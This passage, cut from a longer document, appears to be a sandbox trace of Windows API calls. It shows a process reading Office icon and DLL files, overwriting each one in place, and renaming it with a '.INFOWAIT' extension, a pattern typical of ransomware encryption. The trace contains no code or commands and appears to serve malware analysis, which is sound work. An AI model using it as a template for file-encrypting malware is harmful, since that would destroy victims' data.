Users\\Microsoft\\OFFICE\\AssetLibrary.ico", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.INFOWAIT" [0123.212] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico.infowait")) returned 1 [0123.214] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.215] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.216] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0123.216] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0123.435] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x627e [0123.435] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.436] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.436] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x627e, lpOverlapped=0x0) returned 1 [0123.439] VirtualAlloc (lpAddress=0x0, dwSize=0x627e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0123.441] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.441] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x627e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x627e, lpOverlapped=0x0) returned 1 [0123.441] CloseHandle (hObject=0xad4) returned 1 [0123.454] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" [0123.454] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.INFOWAIT" [0123.454] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\DocumentRepository.ico.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\documentrepository.ico.infowait")) returned 1 [0123.455] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.457] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.457] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0123.457] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0123.460] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5532e [0123.460] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.461] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.461] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0123.563] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0123.573] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.573] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0123.574] CloseHandle (hObject=0xad0) returned 1 [0123.643] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" [0123.643] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.INFOWAIT" [0123.643] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySharePoints.ico.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\mysharepoints.ico.infowait")) returned 1 [0123.643] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.644] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.645] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0123.645] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0123.646] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x627e [0123.646] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.646] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.646] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x627e, lpOverlapped=0x0) returned 1 [0123.659] VirtualAlloc (lpAddress=0x0, dwSize=0x627e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0123.661] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.661] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x627e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x627e, lpOverlapped=0x0) returned 1 [0123.661] CloseHandle (hObject=0xad0) returned 1 [0123.662] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" [0123.662] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.INFOWAIT" [0123.662] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\MySite.ico.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\mysite.ico.infowait")) returned 1 [0123.663] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.664] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.664] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0123.664] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0123.775] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x627e [0123.775] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.775] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.775] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x627e, lpOverlapped=0x0) returned 1 [0123.777] VirtualAlloc (lpAddress=0x0, dwSize=0x627e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0123.780] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.780] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x627e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x627e, lpOverlapped=0x0) returned 1 [0123.780] CloseHandle (hObject=0xad0) returned 1 [0123.780] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" [0123.780] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.INFOWAIT" [0123.780] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico.infowait")) returned 1 [0123.781] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.781] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.782] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0123.782] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointteamsite.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0123.783] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x627e [0123.783] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.783] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.783] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x627e, lpOverlapped=0x0) returned 1 [0123.867] VirtualAlloc (lpAddress=0x0, dwSize=0x627e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0123.869] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.869] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x627e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x627e, lpOverlapped=0x0) returned 1 [0123.870] CloseHandle (hObject=0xad0) returned 1 [0123.870] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico" [0123.870] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico.INFOWAIT" [0123.870] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointteamsite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointTeamSite.ico.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointteamsite.ico.infowait")) returned 1 [0123.873] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.875] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.875] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0123.875] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0123.875] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3960 [0123.875] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.876] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.876] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3960, lpOverlapped=0x0) returned 1 [0123.910] VirtualAlloc (lpAddress=0x0, dwSize=0x3960, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0123.911] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.912] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3960, lpOverlapped=0x0) returned 1 [0123.912] CloseHandle (hObject=0xad0) returned 1 [0123.912] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" [0123.912] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.INFOWAIT" [0123.912] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll.infowait")) returned 1 [0123.913] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.914] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.914] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0123.914] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0123.916] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbf60 [0123.916] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.916] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.916] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbf60, lpOverlapped=0x0) returned 1 [0123.921] VirtualAlloc (lpAddress=0x0, dwSize=0xbf60, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0123.925] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.925] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbf60, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbf60, lpOverlapped=0x0) returned 1 [0123.925] CloseHandle (hObject=0xad0) returned 1 [0123.925] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" [0123.925] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.INFOWAIT" [0123.925] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.dll.trx_dll.infowait")) returned 1 [0123.926] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.927] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.927] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0123.927] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0123.928] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3d960 [0123.928] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.928] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.928] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0124.027] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0124.039] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.039] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0124.040] CloseHandle (hObject=0xad0) returned 1 [0124.040] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" [0124.040] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.INFOWAIT" [0124.040] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\grintl32.rest.trx_dll.infowait")) returned 1 [0124.041] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.042] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.043] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.043] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0124.044] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x49f60 [0124.044] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.045] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.045] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0124.090] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0124.104] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 